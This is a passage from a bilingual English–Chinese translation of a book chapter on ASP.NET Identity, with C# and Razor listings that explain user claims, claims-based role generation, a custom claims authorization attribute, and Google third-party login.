any need to understand claims at all. 提示：你在应用程序中不一定要使用声明（Claims），正如第14章所展示的那样，ASP.NET Identity能够为应用程序提供充分的认证与授权服务，而根本不需要理解声明（Claims）。 15.3.1 Understanding Claims 15.3.1 理解声明（Claims） A claim is a piece of information about the user, along with some information about where the information came from. The easiest way to unpack claims is through some practical demonstrations, without which any discussion becomes too abstract to be truly useful. To get started, I added a Claims controller to the example project, the definition of which you can see in Listing 15-12. 一项声明（Claim）是关于用户的一个信息片段（请注意这个英文单词的单复数形式——译者注），并伴有该片段出自何处的某种信息。揭开声明（Claims）含义最容易的方式是做一些实际演示，任何讨论都会过于抽象根本没有真正的用处。为此，我在示例项目中添加了一个Claims控制器，其定义如清单15-12所示。 Listing 15-12. The Contents of the ClaimsController.cs File 清单15-12. ClaimsController.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} }} } Tip You may feel a little lost as I define the code for this example. Don’t worry about the details for the moment—just stick with it until you see the output from the action method and view that I define. More than anything else, that will help put claims into perspective. 提示：你或许会对我为此例定义的代码感到有点失望。此刻对此细节不必着急——只要稍事忍耐，当看到该动作方法和视图的输出便会明白。尤为重要的是，这有助于洞察声明（Claims）。 You can get the claims associated with a user in different ways. One approach is to use the Claims property defined by the user class, but in this example, I have used the HttpContext.User.Identity property to demonstrate the way that ASP.NET Identity is integrated with the rest of the ASP.NET platform. As I explained in Chapter 13, the HttpContext.User.Identity property returns an implementation of the IIdentity interface, which is a ClaimsIdentity object when working using ASP.NET Identity. The ClaimsIdentity class is defined in the System.Security.Claims namespace, and Table 15-5 shows the members it defines that are relevant to this chapter. 可以通过不同的方式获得与用户相关联的声明（Claims）。方法之一就是使用由用户类定义的Claims属性，但在这个例子中，我使用了HttpContext.User.Identity属性，目的是演示ASP.NET Identity与ASP.NET平台集成的方式（请注意这句话所表示的含义：用户类的Claims属性属于ASP.NET Identity，而HttpContext.User.Identity属性则属于ASP.NET平台。由此可见，ASP.NET Identity已经融合到了ASP.NET平台之中——译者注）。正如第13章所解释的那样，HttpContext.User.Identity属性返回IIdentity的接口实现，当使用ASP.NET Identity时，该实现是一个ClaimsIdentity对象。ClaimsIdentity类是在System.Security.Claims命名空间中定义的，表15-5显示了它所定义的与本章有关的成员。 Table 15-5. The Members Defined by the ClaimsIdentity Class 表15-5. ClaimsIdentity类所定义的成员 Name 名称 Description 描述 Claims Returns an enumeration of Claim objects representing the claims for the user. 返回表示用户声明（Claims）的Claim对象枚举 AddClaim(claim) Adds a claim to the user identity. 给用户添加一个声明（Claim） AddClaims(claims) Adds an enumeration of Claim objects to the user identity. 给用户添加Claim对象的枚举。 HasClaim(predicate) Returns true if the user identity contains a claim that matches the specified predicate. See the “Applying Claims” section for an example predicate. 如果用户含有与指定谓词匹配的声明（Claim）时，返回true。参见“运用声明（Claims）”中的示例谓词 RemoveClaim(claim) Removes a claim from the user identity. 删除用户的声明（Claim）。 Other members are available, but the ones in the table are those that are used most often in web applications, for reason that will become obvious as I demonstrate how claims fit into the wider ASP.NET platform. 还有一些可用的其它成员，但表中的这些是在Web应用程序中最常用的，随着我演示如何将声明（Claims）融入更宽泛的ASP.NET平台，它们为什么最常用就很显然了。 In Listing 15-12, I cast the IIdentity implementation to the ClaimsIdentity type and pass the enumeration of Claim objects returned by the ClaimsIdentity.Claims property to the View method. A Claim object represents a single piece of data about the user, and the Claim class defines the properties shown in Table 15-6. 在清单15-12中，我将IIdentity实现转换成了ClaimsIdentity类型，并且给View方法传递了ClaimsIdentity.Claims属性所返回的Claim对象的枚举。Claim对象所示表示的是关于用户的一个单一的数据片段，Claim类定义的属性如表15-6所示。 Table 15-6. The Properties Defined by the Claim Class 表15-6. Claim类定义的属性 Name 名称 Description 描述 Issuer Returns the name of the system that provided the claim 返回提供声明（Claim）的系统名称 Subject Returns the ClaimsIdentity object for the user who the claim refers to 返回声明（Claim）所指用户的ClaimsIdentity对象 Type Returns the type of information that the claim represents 返回声明（Claim）所表示的信息类型 Value Returns the piece of information that the claim represents 返回声明（Claim）所表示的信息片段 Listing 15-13 shows the contents of the Index.cshtml file that I created in the Views/Claims folder and that is rendered by the Index action of the Claims controller. The view adds a row to a table for each claim about the user. 清单15-13显示了我在Views/Claims文件夹中创建的Index.cshtml文件的内容，它由Claims控制器中的Index动作方法进行渲染。该视图为用户的每项声明（Claim）添加了一个表格行。 Listing 15-13. The Contents of the Index.cshtml File in the Views/Claims Folder 清单15-13. Views/Claims文件夹中Index.cshtml文件的内容 @using System.Security.Claims@using Users.Infrastructure@model IEnumerable<Claim>@{ ViewBag.Title = "Claims"; }<div class="panel panel-primary"><div class="panel-heading">Claims</div><table class="table table-striped"><tr><th>Subject</th><th>Issuer</th><th>Type</th><th>Value</th></tr>@foreach (Claim claim in Model.OrderBy(x => x.Type)) {<tr><td>@claim.Subject.Name</td><td>@claim.Issuer</td><td>@Html.ClaimType(claim.Type)</td><td>@claim.Value</td></tr>}</table></div> The value of the Claim.Type property is a URI for a Microsoft schema, which isn’t especially useful. The popular schemas are used as the values for fields in the System.Security.Claims.ClaimTypes class, so to make the output from the Index.cshtml view easier to read, I added an HTML helper to the IdentityHelpers.cs file, as shown in Listing 15-14. It is this helper that I use in the Index.cshtml file to format the value of the Claim.Type property. Claim.Type属性的值是一个微软模式（Microsoft Schema）的URI（统一资源标识符），这是特别有用的。System.Security.Claims.ClaimTypes类中字段的值使用的是流行模式（Popular Schema），因此为了使Index.cshtml视图的输出更易于阅读，我在IdentityHelpers.cs文件中添加了一个HTML辅助器，如清单15-14所示。Index.cshtml文件正是使用这个辅助器格式化了Claim.Type属性的值。 Listing 15-14. Adding a Helper to the IdentityHelpers.cs File 清单15-14. 在IdentityHelpers.cs文件中添加辅助器 using System.Web;using System.Web.Mvc;using Microsoft.AspNet.Identity.Owin;using System;using System.Linq;using System.Reflection;using System.Security.Claims;namespace Users.Infrastructure {public static class IdentityHelpers {public static MvcHtmlString GetUserName(this HtmlHelper html, string id) {AppUserManager mgr= HttpContext.Current.GetOwinContext().GetUserManager<AppUserManager>();return new MvcHtmlString(mgr.FindByIdAsync(id).Result.UserName);} public static MvcHtmlString ClaimType(this HtmlHelper html, string claimType) {FieldInfo[] fields = typeof(ClaimTypes).GetFields();foreach (FieldInfo field in fields) {if (field.GetValue(null).ToString() == claimType) {return new MvcHtmlString(field.Name);} }return new MvcHtmlString(string.Format("{0}",claimType.Split('/', '.').Last()));} }} Note The helper method isn’t at all efficient because it reflects on the fields of the ClaimType class for each claim that is displayed, but it is sufficient for my purposes in this chapter. You won’t often need to display the claim type in real applications. 注：该辅助器并非十分有效，因为它只是针对每个要显示的声明（Claim）映射出ClaimType类的字段，但对我要的目的已经足够了。在实际项目中不会经常需要显示声明（Claim）的类型。 To see why I have created a controller that uses claims without really explaining what they are, start the application, authenticate as the user Alice (with the password MySecret), and request the /Claims/Index URL. Figure 15-5 shows the content that is generated. 为了弄明白我为何要先创建一个使用声明（Claims）的控制器，而没有真正解释声明（Claims）是什么的原因，可以启动应用程序，以用户Alice进行认证（其口令是MySecret），并请求/Claims/Index URL。图15-5显示了生成的内容。 Figure 15-5. The output from the Index action of the Claims controller 图15-5. Claims控制器中Index动作的输出 It can be hard to make out the detail in the figure, so I have reproduced the content in Table 15-7. 这可能还难以认识到此图的细节，为此我在表15-7中重列了其内容。 Table 15-7. The Data Shown in Figure 15-5 表15-7. 图15-5中显示的数据 Subject（科目） Issuer（发行者） Type（类型） Value（值） Alice LOCAL AUTHORITY SecurityStamp Unique ID Alice LOCAL AUTHORITY IdentityProvider ASP.NET Identity Alice LOCAL AUTHORITY Role Employees Alice LOCAL AUTHORITY Role Users Alice LOCAL AUTHORITY Name Alice Alice LOCAL AUTHORITY NameIdentifier Alice’s user ID The table shows the most important aspect of claims, which is that I have already been using them when I implemented the traditional authentication and authorization features in Chapter 14. You can see that some of the claims relate to user identity (the Name claim is Alice, and the NameIdentifier claim is Alice’s unique user ID in my ASP.NET Identity database). 此表展示了声明（Claims）最重要的方面，这些是我在第14章中实现传统的认证和授权特性时，一直在使用的信息。可以看出，有些声明（Claims）与用户标识有关（Name声明是Alice，NameIdentifier声明是Alice在ASP.NET Identity数据库中的唯一用户ID号）。 Other claims show membership of roles—there are two Role claims in the table, reflecting the fact that Alice is assigned to both the Users and Employees roles. There is also a claim about how Alice has been authenticated: The IdentityProvider is set to ASP.NET Identity. 其他声明（Claims）显示了角色成员——表中有两个Role声明（Claim），体现出Alice被赋予了Users和Employees两个角色这一事实。还有一个是Alice已被认证的声明（Claim）：IdentityProvider被设置到了ASP.NET Identity。 The difference when this information is expressed as a set of claims is that you can determine where the data came from. The Issuer property for all the claims shown in the table is set to LOCAL AUTHORITY, which indicates that the user’s identity has been established by the application. 当这种信息被表示成一组声明（Claims）时的差别是，你能够确定这些数据是从哪里来的。表中所显示的所有声明的Issuer属性（发布者）都被设置到了LOACL AUTHORITY（本地授权），这说明该用户的标识是由应用程序建立的。 So, now that you have seen some example claims, I can more easily describe what a claim is. A claim is any piece of information about a user that is available to the application, including the user’s identity and role memberships. And, as you have seen, the information I have been defining about my users in earlier chapters is automatically made available as claims by ASP.NET Identity. 因此，现在你已经看到了一些声明（Claims）示例，我可以更容易地描述声明（Claim）是什么了。一项声明（Claim）是可用于应用程序中的有关用户的一个信息片段，包括用户的标识以及角色成员等。而且，正如你所看到的，我在前几章定义的关于用户的信息，被ASP.NET Identity自动地作为声明（Claims）了。 15.3.2 Creating and Using Claims 15.3.2 创建和使用声明（Claims） Claims are interesting for two reasons. The first reason is that an application can obtain claims from multiple sources, rather than just relying on a local database for information about the user. You will see a real example of this when I show you how to authenticate users through a third-party system in the “Using Third-Party Authentication” section, but for the moment I am going to add a class to the example project that simulates a system that provides claims information. Listing 15-15 shows the contents of the LocationClaimsProvider.cs file that I added to the Infrastructure folder. 声明（Claims）比较有意思的原因有两个。第一个原因是应用程序可以从多个来源获取声明（Claims），而不是只能依靠本地数据库关于用户的信息。你将会看到一个实际的示例，在“使用第三方认证”小节中，将演示如何通过第三方系统来认证用户。不过，此刻我只打算在示例项目中添加一个类，用以模拟一个提供声明（Claims）信息的系统。清单15-15显示了我添加到Infrastructure文件夹中LocationClaimsProvider.cs文件的内容。 Listing 15-15. The Contents of the LocationClaimsProvider.cs File 清单15-15. LocationClaimsProvider.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public static class LocationClaimsProvider {public static IEnumerable<Claim> GetClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.Name.ToLower() == "alice") {claims.Add(CreateClaim(ClaimTypes.PostalCode, "DC 20500"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "DC"));} else {claims.Add(CreateClaim(ClaimTypes.PostalCode, "NY 10036"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "NY"));}return claims;}private static Claim CreateClaim(string type, string value) {return new Claim(type, value, ClaimValueTypes.String, "RemoteClaims");} }} The GetClaims method takes a ClaimsIdentity argument and uses the Name property to create claims about the user’s ZIP code and state. This class allows me to simulate a system such as a central HR database, which would be the authoritative source of location information about staff, for example. GetClaims方法以ClaimsIdentity为参数，并使用Name属性创建了关于用户ZIP码（邮政编码）和州府的声明（Claims）。上述这个类使我能够模拟一个诸如中心化的HR数据库（人力资源数据库）之类的系统，它可能会成为全体职员的地点信息的权威数据源。 Claims are associated with the user’s identity during the authentication process, and Listing 15-16 shows the changes I made to the Login action method of the Account controller to call the LocationClaimsProvider class. 在认证过程期间，声明（Claims）是与用户标识关联在一起的，清单15-16显示了我对Account控制器中Login动作方法所做的修改，以便调用LocationClaimsProvider类。 Listing 15-16. Associating Claims with a User in the AccountController.cs File 清单15-16. AccountController.cs文件中用户用声明的关联 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... You can see the effect of the location claims by starting the application, authenticating as a user, and requesting the /Claim/Index URL. Figure 15-6 shows the claims for Alice. You may have to sign out and sign back in again to see the change. 为了看看这个地点声明（Claims）的效果，可以启动应用程序，以一个用户进行认证，并请求/Claim/Index URL。图15-6显示了Alice的声明（Claims）。你可能需要退出，然后再次登录才会看到发生的变化。 Figure 15-6. Defining additional claims for users 图15-6. 定义用户的附加声明 Obtaining claims from multiple locations means that the application doesn’t have to duplicate data that is held elsewhere and allows integration of data from external parties. The Claim.Issuer property tells you where a claim originated from, which helps you judge how accurate the data is likely to be and how much weight you should give the data in your application. Location data obtained from a central HR database is likely to be more accurate and trustworthy than data obtained from an external mailing list provider, for example. 从多个地点获取声明（Claims）意味着应用程序不必复制其他地方保持的数据，并且能够与外部的数据集成。Claim.Issuer属性（图15-6中的Issuer数据列——译者注）能够告诉你一个声明（Claim）的发源地，这有助于让你判断数据的精确程度，也有助于让你决定这类数据在应用程序中的权重。例如，从中心化的HR数据库获取的地点数据可能要比外部邮件列表提供器获取的数据更为精确和可信。 1. Applying Claims 1. 运用声明（Claims） The second reason that claims are interesting is that you can use them to manage user access to your application more flexibly than with standard roles. The problem with roles is that they are static, and once a user has been assigned to a role, the user remains a member until explicitly removed. This is, for example, how long-term employees of big corporations end up with incredible access to internal systems: They are assigned the roles they require for each new job they get, but the old roles are rarely removed. (The unexpectedly broad systems access sometimes becomes apparent during the investigation into how someone was able to ship the contents of the warehouse to their home address—true story.) 声明（Claims）有意思的第二个原因是，你可以用它们来管理用户对应用程序的访问，这要比标准的角色管理更为灵活。角色的问题在于它们是静态的，而且一旦用户已经被赋予了一个角色，该用户便是一个成员，直到明确地删除为止。例如，这意味着大公司的长期雇员，对内部系统的访问会十分惊人：他们每次在获得新工作时，都会赋予所需的角色，但旧角色很少被删除。（在调查某人为何能够将仓库里的东西发往他的家庭地址过程中发现，有时会出现异常宽泛的系统访问——真实的故事） Claims can be used to authorize users based directly on the information that is known about them, which ensures that the authorization changes when the data changes. The simplest way to do this is to generate Role claims based on user data that are then used by controllers to restrict access to action methods. Listing 15-17 shows the contents of the ClaimsRoles.cs file that I added to the Infrastructure. 声明（Claims）可以直接根据用户已知的信息对用户进行授权，这能够保证当数据发生变化时，授权也随之而变。此事最简单的做法是根据用户数据来生成Role声明（Claim），然后由控制器用来限制对动作方法的访问。清单15-17显示了我添加到Infrastructure中的ClaimsRoles.cs文件的内容。 Listing 15-17. The Contents of the ClaimsRoles.cs File 清单15-17. ClaimsRoles.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public class ClaimsRoles {public static IEnumerable<Claim> CreateRolesFromClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.HasClaim(x => x.Type == ClaimTypes.StateOrProvince&& x.Issuer == "RemoteClaims" && x.Value == "DC")&& user.HasClaim(x => x.Type == ClaimTypes.Role&& x.Value == "Employees")) {claims.Add(new Claim(ClaimTypes.Role, "DCStaff"));}return claims;} }} The gnarly looking CreateRolesFromClaims method uses lambda expressions to determine whether the user has a StateOrProvince claim from the RemoteClaims issuer with a value of DC and a Role claim with a value of Employees. If the user has both claims, then a Role claim is returned for the DCStaff role. Listing 15-18 shows how I call the CreateRolesFromClaims method from the Login action in the Account controller. CreateRolesFromClaims是一个粗糙的考察方法，它使用了Lambda表达式，以检查用户是否具有StateOrProvince声明（Claim），该声明来自于RemoteClaims发行者（Issuer），值为DC。也检查用户是否具有Role声明（Claim），其值为Employees。如果用户这两个声明都有，那么便返回一个DCStaff角色的Role声明。清单15-18显示了如何在Account控制器中的Login动作中调用CreateRolesFromClaims方法。 Listing 15-18. Generating Roles Based on Claims in the AccountController.cs File 清单15-18. 在AccountController.cs中根据声明生成角色 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(LocationClaimsProvider.GetClaims(ident)); ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... I can then restrict access to an action method based on membership of the DCStaff role. Listing 15-19 shows a new action method I added to the Claims controller to which I have applied the Authorize attribute. 然后我可以根据DCStaff角色的成员，来限制对一个动作方法的访问。清单15-19显示了在Claims控制器中添加的一个新的动作方法，在该方法上已经运用了Authorize注解属性。 Listing 15-19. Adding a New Action Method to the ClaimsController.cs File 清单15-19. 在ClaimsController.cs文件中添加一个新的动作方法 using System.Security.Claims;using System.Web;using System.Web.Mvc;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [Authorize(Roles="DCStaff")]public string OtherAction() {return "This is the protected action";} }} Users will be able to access OtherAction only if their claims grant them membership to the DCStaff role. Membership of this role is generated dynamically, so a change to the user’s employment status or location information will change their authorization level. 只要用户的声明（Claims）承认他们是DCStaff角色的成员，那么他们便能访问OtherAction动作。该角色的成员是动态生成的，因此，若是用户的雇用状态或地点信息发生变化，也会改变他们的授权等级。提示：请读者从这个例子中吸取其中的思想精髓。对于读物的理解程度，仁者见仁，智者见智，能领悟多少，全凭各人，译者感觉这里的思想有无数的可能。举例说明：（1）可以根据用户的身份进行授权，比如学生在校时是“学生”，毕业后便是“校友”；（2）可以根据用户所处的部门进行授权，人事部用户属于人事团队，销售部用户属于销售团队，各团队有其自己的应用；（3）下一小节的示例是根据用户的地点授权。简言之：一方面用户的各种声明（Claim）都可以用来进行授权；另一方面用户的声明（Claim）又是可以自定义的。于是可能的运用就无法估计了。总之一句话，这种基于声明的授权（Claims-Based Authorization）有无限可能！要是没有我这里的提示，是否所有读者在此处都会有所体会？——译者注 15.3.3 Authorizing Access Using Claims 15.3.3 使用声明（Claims）授权访问 The previous example is an effective demonstration of how claims can be used to keep authorizations fresh and accurate, but it is a little indirect because I generate roles based on claims data and then enforce my authorization policy based on the membership of that role. A more direct and flexible approach is to enforce authorization directly by creating a custom authorization filter attribute. Listing 15-20 shows the contents of the ClaimsAccessAttribute.cs file, which I added to the Infrastructure folder and used to create such a filter. 前面的示例有效地演示了如何用声明（Claims）来保持新鲜和准确的授权，但有点不太直接，因为我要根据声明（Claims）数据来生成了角色，然后强制我的授权策略基于角色成员。一个更直接且灵活的办法是直接强制授权，其做法是创建一个自定义的授权过滤器注解属性。清单15-20演示了ClaimsAccessAttribute.cs文件的内容，我将它添加在Infrastructure文件夹中，并用它创建了这种过滤器。 Listing 15-20. The Contents of the ClaimsAccessAttribute.cs File 清单15-20. ClaimsAccessAttribute.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Infrastructure {public class ClaimsAccessAttribute : AuthorizeAttribute {public string Issuer { get; set; }public string ClaimType { get; set; }public string Value { get; set; }protected override bool AuthorizeCore(HttpContextBase context) {return context.User.Identity.IsAuthenticated&& context.User.Identity is ClaimsIdentity&& ((ClaimsIdentity)context.User.Identity).HasClaim(x =>x.Issuer == Issuer && x.Type == ClaimType && x.Value == Value);} }} The attribute I have defined is derived from the AuthorizeAttribute class, which makes it easy to create custom authorization policies in MVC framework applications by overriding the AuthorizeCore method. My implementation grants access if the user is authenticated, the IIdentity implementation is an instance of ClaimsIdentity, and the user has a claim with the issuer, type, and value matching the class properties. Listing 15-21 shows how I applied the attribute to the Claims controller to authorize access to the OtherAction method based on one of the location claims created by the LocationClaimsProvider class. 我所定义的这个注解属性派生于AuthorizeAttribute类，通过重写AuthorizeCore方法，很容易在MVC框架应用程序中创建自定义的授权策略。在这个实现中，若用户是已认证的、其IIdentity实现是一个ClaimsIdentity实例，而且该用户有一个带有issuer、type以及value的声明（Claim），它们与这个类的属性是匹配的，则该用户便是允许访问的。清单15-21显示了如何将这个注解属性运用于Claims控制器，以便根据LocationClaimsProvider类创建的地点声明（Claim），对OtherAction方法进行授权访问。 Listing 15-21. Performing Authorization on Claims in the ClaimsController.cs File 清单15-21. 在ClaimsController.cs文件中执行基于声明的授权 using System.Security.Claims;using System.Web;using System.Web.Mvc;using Users.Infrastructure;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [ClaimsAccess(Issuer="RemoteClaims", ClaimType=ClaimTypes.PostalCode,Value="DC 20500")]public string OtherAction() {return "This is the protected action";} }} My authorization filter ensures that only users whose location claims specify a ZIP code of DC 20500 can invoke the OtherAction method. 这个授权过滤器能够确保只有地点声明（Claim）的邮编为DC 20500的用户才能请求OtherAction方法。 15.4 Using Third-Party Authentication 15.4 使用第三方认证 One of the benefits of a claims-based system such as ASP.NET Identity is that any of the claims can come from an external system, even those that identify the user to the application. This means that other systems can authenticate users on behalf of the application, and ASP.NET Identity builds on this idea to make it simple and easy to add support for authenticating users through third parties such as Microsoft, Google, Facebook, and Twitter. 基于声明的系统，如ASP.NET Identity，的好处之一是任何声明都可以来自于外部系统，即使是将用户标识到应用程序的那些声明。这意味着其他系统可以代表应用程序来认证用户，而ASP.NET Identity就建立在这样的思想之上，使之能够简单而方便地添加第三方认证用户的支持，如微软、Google、Facebook、Twitter等。 There are some substantial benefits of using third-party authentication: Many users will already have an account, users can elect to use two-factor authentication, and you don’t have to manage user credentials in the application. In the sections that follow, I’ll show you how to set up and use third-party authentication for Google users, which Table 15-8 puts into context. 使用第三方认证有一些实际的好处：许多用户已经有了账号、用户可以选择使用双因子认证、你不必在应用程序中管理用户凭据等等。在以下小节中，我将演示如何为Google用户建立并使用第三方认证，表15-8描述了事情的情形。 Table 15-8. Putting Third-Party Authentication in Context 表15-8. 第三方认证情形 Question 问题 Answer 回答 What is it? 什么是第三方认证？ Authenticating with third parties lets you take advantage of the popularity of companies such as Google and Facebook. 第三方认证使你能够利用流行公司，如Google和Facebook，的优势。 Why should I care? 为何要关心它？ Users don’t like having to remember passwords for many different sites. Using a provider with large-scale adoption can make your application more appealing to users of the provider’s services. 用户不喜欢记住许多不同网站的口令。使用大范围适应的提供器可使你的应用程序更吸引有提供器服务的用户。 How is it used by the MVC framework? 如何在MVC框架中使用它？ This feature isn’t used directly by the MVC framework. 这不是一个直接由MVC框架使用的特性。 Note The reason I have chosen to demonstrate Google authentication is that it is the only option that doesn’t require me to register my application with the authentication service. You can get details of the registration processes required at http://bit.ly/1cqLTrE. 提示：我选择演示Google认证的原因是，它是唯一不需要在其认证服务中注册我应用程序的公司。有关认证服务注册过程的细节，请参阅http://bit.ly/1cqLTrE。 15.4.1 Enabling Google Authentication 15.4.1 启用Google认证 ASP.NET Identity comes with built-in support for authenticating users through their Microsoft, Google, Facebook, and Twitter accounts as well more general support for any authentication service that supports OAuth. The first step is to add the NuGet package that includes the Google-specific additions for ASP.NET Identity. Enter the following command into the Package Manager Console: ASP.NET Identity带有通过Microsoft、Google、Facebook以及Twitter账号认证用户的内建支持，并且对于支持OAuth的认证服务具有更普遍的支持。第一个步骤是添加NuGet包，包中含有用于ASP.NET Identity的Google专用附件。请在“Package Manager Console（包管理器控制台）”中输入以下命令： Install-Package Microsoft.Owin.Security.Google -version 2.0.2 There are NuGet packages for each of the services that ASP.NET Identity supports, as described in Table 15-9. 对于ASP.NET Identity支持的每一种服务都有相应的NuGet包，如表15-9所示。 Table 15-9. The NuGet Authenticaton Packages 表15-9. NuGet认证包 Name 名称 Description 描述 Microsoft.Owin.Security.Google Authenticates users with Google accounts 用Google账号认证用户 Microsoft.Owin.Security.Facebook Authenticates users with Facebook accounts 用Facebook账号认证用户 Microsoft.Owin.Security.Twitter Authenticates users with Twitter accounts 用Twitter账号认证用户 Microsoft.Owin.Security.MicrosoftAccount Authenticates users with Microsoft accounts 用Microsoft账号认证用户 Microsoft.Owin.Security.OAuth Authenticates users against any OAuth 2.0 service 根据任一OAuth 2.0服务认证用户 Once the package is installed, I enable support for the authentication service in the OWIN startup class, which is defined in the App_Start/IdentityConfig.cs file in the example project. Listing 15-22 shows the change that I have made. 一旦安装了这个包，便可以在OWIN启动类中启用此项认证服务的支持，启动类的定义在示例项目的App_Start/IdentityConfig.cs文件中。清单15-22显示了所做的修改。 Listing 15-22. Enabling Google Authentication in the IdentityConfig.cs File 清单15-22. 在IdentityConfig.cs文件中启用Google认证 using Microsoft.AspNet.Identity;using Microsoft.Owin;using Microsoft.Owin.Security.Cookies;using Owin;using Users.Infrastructure;using Microsoft.Owin.Security.Google;namespace Users {public class IdentityConfig {public void Configuration(IAppBuilder app) {app.CreatePerOwinContext<AppIdentityDbContext>(AppIdentityDbContext.Create);app.CreatePerOwinContext<AppUserManager>(AppUserManager.Create);app.CreatePerOwinContext<AppRoleManager>(AppRoleManager.Create); app.UseCookieAuthentication(new CookieAuthenticationOptions {AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,LoginPath = new PathString("/Account/Login"),}); app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);app.UseGoogleAuthentication();} }} Each of the packages that I listed in Table 15-9 contains an extension method that enables the corresponding service. The extension method for the Google service is called UseGoogleAuthentication, and it is called on the IAppBuilder implementation that is passed to the Configuration method. 表15-9所列的每个包都含有启用相应服务的扩展方法。用于Google服务的扩展方法名称为UseGoogleAuthentication，它通过传递给Configuration方法的IAppBuilder实现进行调用。 Next I added a button to the Views/Account/Login.cshtml file, which allows users to log in via Google. You can see the change in Listing 15-23. 下一步骤是在Views/Account/Login.cshtml文件中添加一个按钮，让用户能够通过Google进行登录。所做的修改如清单15-23所示。 Listing 15-23. Adding a Google Login Button to the Login.cshtml File 清单15-23. 在Login.cshtml文件中添加Google登录按钮 @model Users.Models.LoginModel@{ ViewBag.Title = "Login";}<h2>Log In</h2> @Html.ValidationSummary()@using (Html.BeginForm()) {@Html.AntiForgeryToken();<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><div class="form-group"><label>Name</label>@Html.TextBoxFor(x => x.Name, new { @class = "form-control" })</div><div class="form-group"><label>Password</label>@Html.PasswordFor(x => x.Password, new { @class = "form-control" })</div><button class="btn btn-primary" type="submit">Log In</button>}@using (Html.BeginForm("GoogleLogin", "Account")) {<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><button class="btn btn-primary" type="submit">Log In via Google</button>} The new button submits a form that targets the GoogleLogin action on the Account controller. You can see this method—and the other changes I made the controller—in Listing 15-24. 新按钮递交一个表单，目标是Account控制器中的GoogleLogin动作。可从清单15-24中看到该方法，以及在控制器中所做的其他修改。 Listing 15-24. Adding Support for Google Authentication to the AccountController.cs File 清单15-24. 在AccountController.cs文件中添加Google认证支持 using System.Threading.Tasks;using System.Web.Mvc;using Users.Models;using Microsoft.Owin.Security;using System.Security.Claims;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Infrastructure;using System.Web; namespace Users.Controllers {[Authorize]public class AccountController : Controller {[AllowAnonymous]public ActionResult Login(string returnUrl) {if (HttpContext.User.Identity.IsAuthenticated) {return View("Error", new string[] { "Access Denied" });}ViewBag.returnUrl = returnUrl;return View();}[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident)); AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);} [HttpPost][AllowAnonymous]public ActionResult GoogleLogin(string returnUrl) {var properties = new AuthenticationProperties {RedirectUri = Url.Action("GoogleLoginCallback",new { returnUrl = returnUrl})};HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();}[AllowAnonymous]public async Task<ActionResult> GoogleLoginCallback(string returnUrl) {ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();AppUser user = await UserManager.FindAsync(loginInfo.Login);if (user == null) {user = new AppUser {Email = loginInfo.Email,UserName = loginInfo.DefaultUserName,City = Cities.LONDON, Country = Countries.UK};IdentityResult result = await UserManager.CreateAsync(user);if (!result.Succeeded) {return View("Error", result.Errors);} else {result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);if (!result.Succeeded) {return View("Error", result.Errors);} }}ClaimsIdentity ident = await 